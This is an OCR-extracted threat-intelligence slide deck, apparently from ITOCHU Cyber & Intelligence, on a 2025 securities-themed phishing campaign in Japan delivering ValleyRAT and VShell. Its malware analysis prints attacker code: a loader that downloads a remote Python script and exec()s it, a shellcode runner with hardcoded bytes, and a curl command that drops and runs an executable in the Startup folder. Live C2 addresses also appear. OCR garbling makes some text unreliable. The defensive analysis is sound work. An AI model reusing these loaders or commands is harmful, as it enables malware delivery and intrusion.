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Introduction



Introduction

¢ Period
« September - October 2025

¢ |nitial access (Phishing Emails)

Securities account themed social engineering
Embedded URLs

¢ Key characteristics
- Emails are distributed in large numbers within a few hours.
Malware sets and implementations were changed over time

¢ Malware sets
* Donut Loader/ValleyRAT/SNOWLIGHT/VShell

© ITOCHU Cyber & Intelligence Inc.
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Campaign Overview
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Malware download page
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Landing Page

¢ Accessed environment check
* Verify Japanese time zone

¢ Automated access blocking

*  When accessed in an automated or
script, an authentication page is
presented and access to the content is
blocked.

ORy bTHRVWC EZERLTLES
L

MiEORy FTIRBD LA

REBITEE LI, TOREYZIVYvILT
BATLTLSIETLY,

Fake reCAPTCHA page

<S5C

ript>

/I IR E R EANEK

function isJapanTimezone() {
const timezoneOffset = new Date().getTimezoneOffset(); // FENEEEEE (9 H)
const japanTimezoneOffset = 540; // HEBRXBEEZEER UTC+9 (/BT => 5409 %)
return timezoneOffset;

/I FRRESEATHE(E « )
function getScreenResolution() {
return “${window.screen.width} ;
//return “${window.screen.width}x${window.screen.height} ;

Geolocation check function

[/ EREOERETIICCTCH—N—H1 FEEZTS
setTimeout(function() {

/] 90%DFEETHIN. 10%TKRE%E >

const isSuccess = Math.random() > 0.1;

if (isSuccess) {

statusMessage.textContent = "SREEICAAMLELZ ' ARy FTIRBAVWIE2BERTETEL k. ;
statusMessage.className = "status-message success"”;

/[l REOBETIEICCTIA—LERERPUAILI EREEZTS

setTimeout(function() {
[latert("BLERC TV EEAD. RIETAE A EZEEICET CEEEATLE. UTOAEENEZSNE-
window.location.href = 'yll.html';

/[l EEOBEETIE location.href = "ROR—"; ¥
}, 1500);
else {
statustMessage.textContent = "EERTETFHATLE. BS3—EHHALLET L,
statusMessage.className = "status-message error";

checkboxElement.classList.remove('checked');
isChecked = false;

YUV T
setTimeout(function() {
verificationBar.style.width = "0%";
buttonText.textContent = "FEZR";
verifyButton.disabled = false;
isVerifying = false;
statusMessage. textContent = "F I w IRy IV RAZHEIRLT. OR Y FTHWVWI CEZERL TSIV,
statusMessage.className = "status-message";
}, 2000);

Creating fake reCAPTCHA page 8
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Email delivery schedule

¢ Emails were sent at irregular times, including early morning and late night
hours, with no consistent delivery pattern observed.

o[ 1]2[3]4[s]6]7 s[o] 0] 11]12] 13| 14] 5] 16[ 7] 18] 9] 20] 1 22| 23
2025/09/25
2025/09/29

2025/10/01

2025/10/08
2025/10/09

Heatmap of email delivery volume by time of day (UTC+9)
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Campaign Timeline

1. Malware was not executable due
to implementation errors.

* Malware components

* Malware components

3. Theloader was modified from the initial
version, making the malware executable.

5. The loader and Python script
was changed from case 4:

* Malware components

* Loader e Loader * Loader
* Donut Loader e Donut Loader * Python script (SNOWLIGHT)
* ValleyRAT » ValleyRAT e VShell
4. The payload was changed
from ValleyRAT to VShell:
* Malware components
2. Malware could not be downloaded © Loader .
due to misconfigured C2 settings. > A7 GBS L D)
* VShell
O O O @ >
2025/09/25 2025/09/29 2025/10/01 2025/10/08 2025/10/09

11
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Wave 1

1. Malware was not executable due
to implementation errors.

* Malware components
* Loader
* Donut Loader
* ValleyRAT

O
2025/09/25

12



Wave 1: Incorrectly Implemented ValleyRAT

¢ Due to implementation errors, it could not be executed.

\il
M . — — -
URL —

C2 Server Loader

X

Decode and execute

= 1010
0101

1010

Shellcode -
Decode and execute (Donut Loader) @

DLL : : ﬁ

ValleyRAT C2 Server 13

© ITOCHU Cyber & Intelligence Inc.
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Wave 1: 1st stage Loader

¢ Language check
« 0x404.
N 0)'¢<104 %

¢ Decode shellcode with

xor 0x60

zh-TW Chinese (Traditicnal, Taiwan)
ied, PRC)

14



Wave 1: 2nd stage Donut Loader

. that enables in-memory execution of VBScript,
JScript, EXE, DLL files and .NET assemblies

« https://github.com/TheWover/donut

¢ Decrypter
* GitHub -olev dut-deptor: Rtrieve inner payloads from Donut samples

© ITOCHU Cyber & Intelligence Inc.

N ] ] 15
Donut Loader decryption routine


https://github.com/TheWover/donut
https://github.com/TheWover/donut
https://github.com/volexity/donut-decryptor
https://github.com/volexity/donut-decryptor
https://github.com/volexity/donut-decryptor
https://github.com/volexity/donut-decryptor
https://github.com/volexity/donut-decryptor
https://github.com/volexity/donut-decryptor
https://github.com/volexity/donut-decryptor
https://github.com/volexity/donut-decryptor

Wave 1: 3rd stage ValleyRAT

. C2 framework ox e ook oo

¢ Reversed config string
[p1: [01:443[t1:1[p2:112.121.185 S ICCINPEELEE LI B /i BEER . 11

. . . . . Src = 8;
.10[02:80/t2:1[p3:112.121.185.1003:6666 | t3:1 |y

[dd:1[cl:1[fz:Z(A[bb:1.0[bz:X_L 7] 195 = BXSF:
[jp:1[bh:o[LL:0]dL:1[sh:1[kL:0]bd:0] rodule name[3] = @x6CABEC;

198 = Bxb2;

* Connect to C2 with KCP protocol i - ok

Bued

memset(v2e, @, sizeof(v2e));

¢ |t downloads additional plugins. 2= o;

1;
- Module name: (BFIRR.d11) [
+ EFEIRR: Login module (In simplified Chinese) | L D

_packet = 5;
memmove (request packet + 1, &5rc, @xAd4du);
if ( !'*(( DWORD *)malware ctx + 4) )
(*(void (_ fastcall **)(_QWORD, _BYTE *, _ int64))(*(_QWORD *)
malware ctx[1],
request_packet,

T
2629);

j free(reguest packet);

Downloading additional module

© ITOCHU Cyber & Intelligence Inc.
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Wave 1: 3rd stage ValleyRAT cont.

¢ Check if a module already
exists in the registry.

« HKCU\Console\1\d33f
351ad4aeea5e608853d1
a56661059

¢ |nject to tracerpt.exe

if t:

RESERVE,

Process injection

PAGE_EXECUTE_READWRITE);

17



Wave 1: 3rd stage ValleyRAT cont.

¢ Data sent to C2 is encrypted with xor.

¢ Data format
[packet size (4 bytes)] + [encryption key (10 bytes)] + [data]

*{ QWORD *)(buffer ctx + 8x18) += size;
2| return (unsigned int)size;

63 [}

© ITOCHU Cyber & Intelligence Inc.

Decryption routine
18



Wave 2

2. Malware could not be downloaded
due to misconfigured C2 settings.

O >

2025/09/29

© ITOCHU Cyber & Intelligence Inc.
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Wave 2: Not observed

¢ Malware could not be downloaded due to misconfigured C2 settings.
I/

*ﬁ
URL

C2 Server

© ITOCHU Cyber & Intelligence Inc.

20



Wave 3

3. The loader was modified from the initial
version, making the malware executable.

* Malware components
* Loader
* Donut Loader
* ValleyRAT

2025/10/01

© ITOCHU Cyber & Intelligence Inc.

= O <

ValleyRAT valleyRAT ~ vshell

21



Wave 3: ValleyRAT

¢ The loader was modified.

environment and therefore modified the loader.

\il
URL —

C2 Server Loader

Decode and execute

= 1010
0101

1010

Shellcode

Decode and execute | (Ponut Loader)

A\ 4

- | -

ValleyRAT

© ITOCHU Cyber & Intelligence Inc.

¢ |t is suspected that the attacker realized the malware could not run in a Japanese

&

C2 Server

22



Wave 3: 1st stage Loader

¢ Decrypt shellcode with rolling xor

¢ |atter stage is same as wave 1.

* 2nd stage: Donut Loader
* 3rd stage: ValleyRAT (same config)

24| if ( aa_CheckProc s() )

...........

return B8;

© ITOCHU Cyber & Intelligence Inc.

23

Decryption routine



Wave 4

4. The payload was changed
from ValleyRAT to VShell:

* Malware components
* Loader
* Python script (SNOWLIGHT)
* VShell

2025/10/08

ValleyRAT ValleyRAT ~ vshell - Vshell

© ITOCHU Cyber & Intelligence Inc.
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Wave 4: VShell

¢ The loader was modified to download Python script.
¢ The payload was changed from ValleyRAT to VShell.

ey

C2 Server

Download
— e

Execute

Decode and
execute

Loader C2 Server
Download
. >
Python script C2 Server
(SNOWLIGHT)

VSheII C2 Server

25
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Wave 4: 1st stage Loader

¢ The loader made by C++ was changed to a loader created with PylInstaller.

¢ |t downloads Python script contains shellcode.

10
11
12
13
14
15

import requests
SCRIPT_URL = 'https://yul23sp.com/uploads/vshell.py'
response = requests.get(SCRIPT_URL)
response.raise_for_status()
script_code = response.text
exec(script_code, globals())
return None
1f Exception:

e = None

print(f' " "HITHERM: {str(e)}'"'")

e = None

del e

return None

e = None

del e

Loader executes Python script

26
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Wave 4: 2nd stage SNOWLIGHT Loader

¢ Execute shellcode
¢ Support Windows/Linux

9 def run_shellcode(shellcode):
10 # RIERERGERRTAHD
11 if platform.system() == 'Windows':
12 # WindowsH 1T 5 =
13 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
14 ptr = ctypes.windll.kernel32.VirtualAlloc(
15 ctypes.c_int(0),
16 ctypes.c_int(len(shellcode)),

7 ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
18 ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
9 )

20

21 # 5 HlShellcode®| N TE

22 ctypes.windll.kernel32.Rt1MoveMemory(

23 ctypes.c_void_p(ptr),

24 shellcode,

25 ctypes.c_int(len(shellcode))

26 )

27

28 # ol B ST HRTT

9 func = ctypes.CFUNCTYPE(ctypes.c_void_p)(ptr)
30 func()

Shellcode execution function

import ctypes
import platform

ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoLleWindow(), 0)
# Shellcode F T &4

buf = b"\xe?\x03\x00\x00\x00\xcc\xcc\xce\x40\x55\x53\x56 \x57\x41\x54 \x41\x55\x
AWXT77\x26\x07\xe8\x2e\x04\x00\x00\x33\xFF\xc7\x45\x90\x75\x73\x65\x72\x48\x8b\x
Axbe\xFFAxd3\x48\xBd\xbdd\xal\xc T\ x45\ xal0\ x 77\ x T3\ x3 2\ x5F\ xe 7\ x45\ xabd \ x33\ x32\ x

Hardcoded shellcode

32 elif platform.system() == 'Linux':
33 # LinuxH1 1T H I

34 import mmap

35 # Sl ERT M ITRZ 5

36 exec_mem = mmap.mmap(

Supports Linux

27



Wave 4: 3rd stage SNOWLIGHT

¢ \/\Shell downloader generated by -
VShell server Sl S L S SRR E s R

6 88 08

@ d4 c3 dc cb 71 99 99 93 99 c@ dl 1la 7@ 98 dl 12

® |t Sends an 97 86 23 97 99 2d 9@ 54 b8 21 98 d5 54 b8 cd f
. 80000058 B ea f6 fe eb 3 f4 bo fa f8 f7 7 f6
with raw socket. Packet

¢ Support Windows/Linux/macOS

loc_418:

¢ Decode a payload with xor 9x99 e :;S, feaxtesi]

add eax, esi
xor byte ptr [ecx+edi],
inc esp

cmp eax, eax
ib short loc 418

Xor 0x99

© ITOCHU Cyber & Intelligence Inc.
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Wave 4: 4th stage VShell

¢ Multi-platform backdoor written in Go

¢ Config
Ilser\ver\":ll Il,lltypell:
Iltcpll’Iltypell:Iltcpll,llvkey":ll 1
,Ilpr‘oxy":IIII,IlsaltlI:II ","1":‘Fa

lse,"e":false,"d":30,"h":10}
vkey and salt are the default values.
¢ AES CBC mode

Key: E396BBB053529D2DDB17B100AA0G4D/C5
IV: E396BBB053529D2DDB17B100AA0G4D/C5

¢ \/ersion: 4.9.3

© ITOCHU Cyber & Intelligence Inc.

, eax
, a49378125 ; "4.9.378125°
. 5

. PoR

VShell version v4.9.3

=750 TCP KCP/UDP WebSocket
* PERIEHS
im0 80

* Vkey qwel23qwe

* REINEEE | qwe123qwe

ERHE

Config settings on VShell server 29



WELVEES

5. The loader and Python script
was changed from case 4:

* Malware components

* Loader
* Python script (SNOWLIGHT)
| e VShell
(@)
[
-
)
(@)
[
)
oo
o
—
-
)
+
c
o |
o
c
)
o
9
) . ; »
é 2025/10/09
e G e
©

30



Wave 5: VShell

¢ The loader and Python script was modified.

C2 Server Loader

\il
Download
URL @

C2 Server

Execute

-
<

Python script
(SNOWLIGHT)

Download ﬁ
| =)

C2 Server

Decode and
execute

= DLL <

&

© ITOCHU Cyber & Intelligence Inc
A

VShell

[
»

C2 Server

31
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Wave 5: 1st stage Loader

¢ Created with Pylnstaller
¢ Modified the next stage script name (zhubei.py)

import requests import requests
SCRIPT_URL = 'https://yul23sp.com/uploads/vshell.py' | SCRIPT_URL = 'https:ffvul235g.comgugloadsgzhuhei.Ex'|
try:

response = requests.get(SCRIPT_URL) response = requests.get(SCRIPT_URL)
response.raise_for_status() response.raise_for_status()
script_code = response.text script_code = response.text
exec(script_code, globals()) exec(script_code, globals())
return None
if Exception: except Exception as e:

e = None

print(f'""HITEM: {str(e)}''") print(f'HITEM: {str(e)}")

e = None

del e

return None

e = None

del e

Wave 4 1st stage loader Wave 5 1st stage loader
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Wave 5: 2nd stage Loader

¢ Added function to save the 1st stage loader at
%APPDATA%\Microsoft\Windows\Start Menu\Programs\bei.exe

import ctypes
import platform

ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.6etConsoleWindow(), 0)

# Shellcode F1F 5

buf = b"\xe9\x03\x00\x08\x00\xcc\xcc\xcc\x40\x55\x53\x56\x57\x41\x54\x41\x55)\
x41\x56\x41\x57\x48\x8d\xac\x24\x68\xfd\xFff\xFff\x48\x81\xec\x98\x03\x00\x00\x
b9\x4c\x77\x26\x07\x98\x2e\x04\x00\x00\x33\xff\xc7\x45\x90\x75\x73\x65\x72\x4=

Wave 4 2nd stage loader

import ctypes
import platform
import subprocess
import os

attrib_cmd = r'curl -o "%APPDATA%\Microsoft\Windows\Start Menu\Programs\bei.e
xe" "https://yul23sp.com/uploads/zhubeil.exe"’

attrib_cmdl = r'attrib +H "%APPDATA%\Microsoft\Windows\Start Menu\Programs\be
i.exe"&"%APPDATA%\Microsoft\Windows\Start Menu\Programs\bei.exe"'

subprocess.run(attrib_cmd, shell=True)

subprocess.run(attrib_cmdl, shell=True)
#ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), O
#HEEES 8

# Shellcode FTHF75

buf = b"\xe9\x03\x00\x00\x00\xcc\xcc\xcc\x40\x55\x53\x56\x57\x41\x54\x41\x55)\
x41\x56\x41\x57\x48\x8d\xac\x24\x68\xfd\xFFf\xFFf\x48\x81\xec\x98\x03\x00\x00\x<
b9\x4c\x77\x26\x07\xe8\x2e\x04\xGO\xGO\x33\xff\xc7\x45\x90\x75\x73\x65\x72\x4=

Wave 5 2nd stage loader

33
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Wave extra: whois query

¢ While monitoring the content hosted
on the C2 server, we observed that
the Python script (SNOWLIGHT) was
modified after wave 5.

¢ The malicious code was removed and
replaced with functionality that
performs a WHOIS query.

[ T

ot

o~ o B

10
11
12
13
14
15
16
17
18

20

import whois

def whoisCheck(info):

if info == "":

return print("fREARNZEZNME?2 ")
try:

whoisResultInfo = whois.whois(info)

print(whoisResultInfo)
print(whoisResultInfo.get('name'))
print(whoisResultInfo.get('emails'))

print(whoisResultInfo.get('registrar'))

except KeyError as ke:
print(F"WHOISIE EER D W B8: {ke}")

except Exception as e:
print(F"ZIJHMEF: {e}")

if __name__ == '__main__"':
info = input("BF W A Birtiat: ")
whoisCheck(info)

WHOIS query script

34



Continuous Intrusion & Distribution



—— © ITOCHU Cyber & Intelligence Inc.

Development and delivery timeline (UTC+9)

¢ |t indicates that the threat actor developed and deployed the malware
and scripts in real time immediately before the email was sent.

2025/09/25 2025/09/26  2025/09/28 2025/10/08
04:52:05 04:28:10 22:02:40 21:30:28
Compilation
I \
O O O O @ -

Wave 1 Wave 2 Wave 3 Wave 4 Wave 5 Last-Modified
2025/09/25 2025/09/29 2025/10/01 2025/10/08 2025/10/09 || on C2 server
05:00 - 06:00 18:00 - 23:00 07:00 - 09:00 04:00 - 13:00 14:00 - 23:00

Valleyar 2025/10/08
© ushell 22048 -
2025/10/09
2025/1 2025/10/08
L 0y 23:24:34 3¢

23:06:35 21:54:59
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Hunting malware hosting servers

¢ Reuse of malware distribution hosts

It was possible to identify related domains and original IP addresses using
services such as VirusTotal and Censys.

- We were also able to identify domains that did not appear in the phishing emails
themselves, based on shared characteristics of the malware hosting sites.

WEB PROPERTY

47.91.1.232: 443

Censys search result

<meta charset="UTF-8">
<titlestEFalF 1730000 H D >O—F</titles
<meta name="viewport" content="width=device-width,

Html title tag

init

<body>
<div class="container">

<h>BFtFalFs T3 51047 >0—F</hl>
<p class="info">EXF 371 »|F. AEFWSIOEDRLETHLOICHBATT. </p>

<a href="https://bookinghotelnow.com/SecurityPlugin.zip" class="download-button" download="SecurityPlugin.zip">
tFxalFs TS50 7>O0—F

</a>
<p class="reminder">4& ¥ 7 >O— F#&, BTRBELTR2T T2 AR—ILLTLETWL. </p>

<div class="steps">
<h2>4 > X = JLF|E</h2>
<ul>
<U>XATFwTl: A9 YO0—FRAZEI IV ILT. A YA =547 2O0-LFLEFT. </li>
<U>ZAT7w T2 A9vO—RFLEAYRAF—F—%FE. BEAOCETICH > TA YA F—ILLET. </1i>
<U>RAT7w 73 A =L NVIVERTERICHSI R EF0MOBEEZCHEVLELETET. REFZVIESIE.
<ful>
</div>

<div class="footer">
SE#ENG| FE4HZESE S Securities and Exchange Surveillance Commission<brs>
(3£ A% S4000012010023) <br>
T100-8922 ERHTRAXEHNEI—2—1 DRSETEE 7 S <br>
EEES | 03-3506-6000
</div>

Malware hosting site source -
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N\’ VShell server

¢ Multi-platform backdoor written in Go

¢ The original repository has been deleted.

https://github.com/veo/vshell
The cracked version (v4.9.3) is leaked.

¢ Supported protocols

TCP/KCP over UDP/WebSocket/DNS/DOT/DOH/OSS

—7 gy

\

VSHELL

TEFURM. ARTE

A Warning

Avshel FERBEILEEHRASIERBIKARN, FIULISXEEEH. BEERAHER

Features

A L3EE vshell

vshell SR HEREIEHRFEE, WRLPARIRAMRETH. SREMHIL SREYE. REANDHEE
71, EENEMBEEATEREEEKTE, REM2MNEED

https://github.com/veo/vshell

39


https://github.com/veo/vshell
https://github.com/veo/vshell
https://github.com/veo/vshell

N\’ VShell server

¢ Supported multiple payload types

 Stager/Shellcode/Full beacon/
Pa SS ive | iSte n e r ', EEES @R Dashboard [ Client Management ¢ Listener Management & Download Client (&% Plugin Runner

@B Dashboard O Client Management

¢ Plugin Runner i

stage shellcode stageless listen  dll listen ebpf listen

- An operator can deploy additional ' —
modules EREE

* Fscan, Mimikatz, etc.

¢ Tunneling function

TCP KCP/UDP WebSocket

* SOCKSS5 Tunnel/HTTP Tunnel/ o oooo
TCP proxy/UDP proxy |

© ITOCHU Cyber & Intelligence Inc.

VShell web console
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VShell fingerprints

¢ Fake nginx page

Welcome to nginx!

¢ Basic authentication

If you see this page, the nginx web server is successfully installed and

working. Further configuration is required.

For online documentation and support please refer to nginx.org.

Commercial support is available at nginx.com.

Search (] dpoints.http.body_h: az f44db26bellbaa78

Thank you for using nginx.

Search Results Report Builder

TYPES
RESULTS: 1,004 DURATION: 1.07s

Hosts

:-. S a0 2324 « v Default nginx page

Web Properties
DATABASE | | <) DEFAULT_LANDING_PAGE | | R

~ CVEID
COGENT-174 (174)
CVE-2025-26465 5234 /HTTP 8008 [ HTTP
Los Angeles, California (US) B

CVE-2025-32728

& http://

CVE-2024-6387
CVE-2025-1695 400 @ MATCHED FIELDS
CVE-2023-44487 393 af44db26bellba. d95cefo43 6610ad24828affb44c873a6 8084/ HTTP

a-H¥-%

More

107.175.1.26 - HOST

N EXPLOITED =) = 107-175-1-26-host.colocrossing.com

THIRD_PARTY
<J DEFAULT_LANDING_PAGE
CISA
AS-COLOCROSSING (36352)

Buffalo, New York (US) HE

af44db26bellbaa7s78s 43 6d66. 44¢873a6 443 /HTTP

Censys search result Basic authentication page

YA MIOJA2TBIEZROTVET.
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VShell fin

¢ Title: EF - B

X 2

1
N
oy

:8082/index.htmi#/login

/ BEEs

VShell login console

Search

Search Results

\SSET TYPES
Hosts
Certificates

Web Properties

~ CVEID
CVE-2016-20012
CVE-2020-14145
CVE-2020-15778
CVE-2021-36368

CVE-2021-41817

THIRD_PARTY

CISA

RESULTS:

0

22

39.106.86.187 - H

ALIBABA-CN-NET Hangzhou Alibaba
Advertising Co.,Ltd. (37963)

Beijing (CN) Bl
FSNginx Php

BR-EEFH 443/HTTP

139.159.145.35 T

39-159-145-35.compute.hwclouds-dns.com

ABASE | | ) LOGIN_PAGI

HWCSNET Huawei Cloud Service data center
(55990)

Guangzhou, Guangdong (CN) il
F5 Nginx  Oracle M

B -EBFAR [HTTP | 443 /HTTP

Censys search result

L 443/HTTP 8081/
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Email monitoring

¢ Monitor Japanese subject,
message body or attachments.

NSDEHSE i EFa VT T T OEHESBLL T No.59745

o I

B 5005t t5aU7q 751 EBHLTCRES L

FREDEBZASDEEICCHAVEEEHICHONESTEVET,

B, ERIEF|SMEE BT MR 71 v VI X—=LICLBFERBEAEML TS .
BREROBES LVEABRNERALEBRICTSINTED T,

KREEREZRLET A, SEALSTIEIATFLEF A Fa2AEBICT v 7 L—FWL&E L=
[BEE] 2025F 1098 X CICEHFHZZT LT LT W

CEEOERANYIAVERICBHREF 2T 7537102 TAIO0—FR - 41X M=JLLTLES L,
R ZBF 1188, AR PIEEEGE | Oise 2 NV A VIER TERICCHBW I T ED T,

BHFIE:
TROVIZIVy I LTEBHREX 2T 73712024 0>O0-FLTA YR M—LLTLIESL,

(EFa2VFeTST10%5T<CHAIIO—FR]
https://www.fsa.go.jp/sesc/support/fund.html

WREBDFELIASHFRL

- H#4582% (Nomura Securities)

- KFFE#: (Daiwa Securities)

- SBIFEZ% (SBI Securities)

- EXiE# (Rakuten Securities)

- ¥AHEE#F (Matsui Securities)

¥ FRRIE—ERTHD. TOMDIIFIHOITRTT.

BETZT B

- SEFAEAOOY 1 > &K UEREEHEE

- %R - REE - VBB A DEX - BUE
-AR - HE - ERIREIRE
-UTLRA LEES LU LR— FEE
-FISAUHR—F - OFEFa) T BE

Phishing email sample
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Network control measures

¢ Direct IP address connection

 If your organization doesn’t need to access to the Internet with IP address, block
the direct access.

¢ Specific protocols control

* Control or monitor unnecessary protocols
e KCP over udp
* kcp/README.en.md at master - skywind3000/kcp - GitHub
* Websocket (wss)
 RFC 6455 - The WebSocket Protocol
* DNS over TLS
e DoT uses port 853 by default.

¢ Block C2 servers as quickly as possible
* Analyze the sample and C2 servers to get loCs.
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Conclusion

¢ Importance of continuous research

« Although many suspicious emails appeared identical at first glance, detailed
analysis revealed meaningful differences in the attack campaign.

* The blue team also needs to adapt quickly and keep up with the threat actors’
evolving tactics.

© ITOCHU Cyber & Intelligence Inc.
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And more...

¢ Who’s behind this campaign?

¢ Suspected threat actor: SilverFox

« Securities account themed social engineering

e Similar tax or salary-related emails were observed
in April and December. [1]

* Malware sets
* Donut Loader/ValleyRAT/SNOWLIGHT/VShell
* ValleyRAT is a known to be a malware used by SilverFox. [2]
* But these tools are publicly available.

[1] Tracking Malware and Attack Expansion: A Hacker Group’s Journey across Asia

https://www.fortinet.com/blog/threat-research/tracking-malware-and-attack-expansion-a-hacker-groups-journey-across-asia

[2] A Deep Dive into a New ValleyRAT Campaign Targeting Chinese Speakers

© ITOCHU Cyber & Intelligence Inc.

https://www.fortinet.com/blog/threat-research/valleyrat-campaign-targeting-chinese-speakers
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Is the campaign still ongoing?

HBBMO THBOSHEL

¢ \We have also observed similar

& ERTFREWMBATL

campaign in December 2025. —
- Tax-related themed phishing (2] 2025 OHBEHOHEOHRL
email. BHERETI S &0, HESHOMBE (RESEREI) &5550— K033,

CHRBESAVVWLET. RBICFERIPITENH3HE13. BURBEETIWE LT

*  ValleyRAT

BNS © 2025 HHEEBR KA. pdf
C CZ WRERE : 20255 (SH7F) 9

e 118.107.13.96:6666 —

e fcccc.top:443 »

* bz (File creation date): 2025.12.2

"UTF-16LE™, "|1:5js|®@: 44:50]|:5p|1l:js|@:4t| 34
"UTF-16LE™, 'p|@:lk|®@:h |'l|l"ll|l"hb|l"
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Appendix



loCs - file

SHA256 Description
9ce5e91bab036e01c562a4375205f01e91cd8f851327ea5b781167ef5b84 Loader
7d5194adfdbf795c29242c29058895163f3f758325baf7440fad6af85c9%e ValleyRAT
e82151d8518670c9fe01clc5aebeead66c83f562a20feb4c749¢36ac0787 Loader
238c8eb133e2326d5f48131c6633719b669fbd92c13ac322¢33823c109bd ValleyRAT
719bb84cca932f7d3f09e5e5358d79e954dab80ffad9c43b42bb03209a67 Loader
7fee6d2ddb898eefbfebbcaf94797e7fcbb6cd330c97aadae0f85ec119dd993b  Downloader
253ff072d71caeb02ed596fd6aa266e625f51a09d49d82726a11b66218bdd6c3 SNOWLIGHT
e166ddbc8c761d6e65402797c89d4e0eae97bdaaf5bb8693bebad35f5d20 VShell
a267739022ac185a84412e306492ea056b974780db4d183c5847246cfdae Loader
96fe34f367423alca75e0e0b293ef4918ca30f5efcb36c9b67dec746493f3b37 Downloader

© ITOCHU Cyber & Intelligence Inc.
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loCs - IP and domain

IP and domain Description
112[.]121[.]185[.]10 ValleyRAT C2
47[.1245[.]130[.]54 VShell C2
m404].]lanosso[.]Jcom Malware hosting server
yul23sp[.Jcom Malware hosting server
118.107.13.96 ValleyRAT C2
fccee.top ValleyRAT C2

© ITOCHU Cyber & Intelligence Inc.
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